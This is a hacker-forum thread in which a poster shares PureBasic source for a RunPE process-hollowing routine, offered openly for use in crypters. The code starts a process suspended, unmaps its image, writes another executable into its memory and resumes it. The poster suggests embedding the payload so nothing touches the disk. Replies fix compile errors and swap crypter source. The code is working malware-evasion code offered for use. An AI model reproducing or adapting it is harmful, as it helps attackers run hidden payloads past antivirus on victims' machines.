[Killpot]

Yo.

This would be used in crypters, or for other purposes where you want to execute a file without saving it to disk.

It's fairly basic, and just reads a file from the disk and get's it's byte contents, then executes those bytes in memory, however it wouldn't be hard to remove the disk dependence. All you would have to do is pack the base64/bytes of the program in a DataSection and just decompress at runtime.

Code:

Structure IMAGE_SECTION_HEADER SecName.b[8] StructureUnion PhysicalAddr.l VirtualSize.l EndStructureUnion VirtualAddress.l SizeOfRawData.l PointerToRawData.l PointerToRelocations.l PointerToLinenumbers.l NumberOfRelocations.w NumberOfLinenumbers.w Characteristics.l EndStructure Structure IMAGE_SECTION_HEADERS ish.IMAGE_SECTION_HEADER[95] EndStructure Procedure RunPE(sProc.s, lBuff) *idh.IMAGE_DOS_HEADER = lBuff *ish.IMAGE_SECTION_HEADERS pi.PROCESS_INFORMATION *inh.IMAGE_NT_HEADERS si.STARTUPINFO lpBaseAddres.l Ctx.CONTEXT Addr.l ret.l i.l CreateProcess_(#NUL, sProc, #NUL, #NUL, #False, #CREATE_SUSPENDED, #NUL, #NUL, @si, @pi) Ctx\ContextFlags = #CONTEXT_INTEGER If GetThreadContext_(pi\hThread, Ctx) = 0 : Goto EndThread : EndIf ReadProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @Addr, 4, #NUL) If ZwUnmapViewOfSection_(Pi\hProcess, Addr) : Goto EndThread : EndIf If lBuff = 0 : Goto EndThread : EndIf *inh = lBuff + *idh\e_lfanew lpBaseAddres = VirtualAllocEx_(pi\hProcess, *inh\OptionalHeader\ImageBase, *inh\OptionalHeader\SizeOfImage, #MEM_COMMIT | #MEM_RESERVE, #PAGE_EXECUTE_READWRITE) WriteProcessMemory_(pi\hProcess, lpBaseAddres, lBuff, *inh\OptionalHeader\SizeOfHeaders, @ret) *ish = *inh\OptionalHeader + *inh\FileHeader\SizeOfOptionalHeader For i = 0 To *inh\FileHeader\NumberOfSections - 1 WriteProcessMemory_(pi\hProcess, lpBaseAddres + *ish\ish[i]\VirtualAddress, lBuff + *ish\ish[i]\PointerToRawData, *ish\ish[i]\SizeOfRawData, @ret) Next WriteProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @lpBaseAddres, 4, #NUL) Ctx\Eax = lpBaseAddres + *inh\OptionalHeader\AddressOfEntryPoint SetThreadContext_(pi\hThread, Ctx) ResumeThread_(pi\hThread) End EndThread: TerminateProcess_(pi\hProcess, #NUL) CloseHandle_(pi\hThread) CloseHandle_(pi\hProcess) EndProcedure Procedure Run() If ReadFile(0, "C:\1.exe") = 0 : End : EndIf lBuf = AllocateMemory(Lof(0)) ReadData(0, lBuf, Lof(0)) CloseFile(0) ;----------------------- File.s = Space(1024) GetModuleFileName_(0, File, 1024) RunPE(File, lBuf) EndProcedure Run()

[waste49]

hello, what's your version of PB ?
on 5.42 i obtain structure already declared  IMAGE_SECTION_HEADER in a resident file while compiling ....

on 4.60 it compiles and runs perfectly !  thanks
do you know how to fix strusture problem for 5.42 version ?  it must be in a purebasic lib but wich one ..

i can't stop coding with PB , very powerfull

edit ---------------

since its already declared we can delete all structure code that refers to PE Image section header, and runs perfectly on 5.42 too !
good job

do you want dogdays crypter source code ? the stub part is quite interresting, it uses an abnormal compiler feature to call api'z

[Killpot]

hello, what's your version of PB ?
on 5.42 i obtain structure already declared  IMAGE_SECTION_HEADER in a resident file while compiling ....

on 4.60 it compiles and runs perfectly !  thanks
do you know how to fix strusture problem for 5.42 version ?  it must be in a purebasic lib but wich one ..

i can't stop coding with PB , very powerfull

edit ---------------

since its already declared we can delete all structure code that refers to PE Image section header, and runs perfectly on 5.42 too  !
good job

do you want dogdays crypter source code ?  the stub part is quite interresting, it uses an abnormal compiler  feature to call  api'z

Yeah already declared so it's not a problem : ^) and thanks for the offer but I already have it, and yeah his api calls were really useful, just gotta make things as dynamic as possible!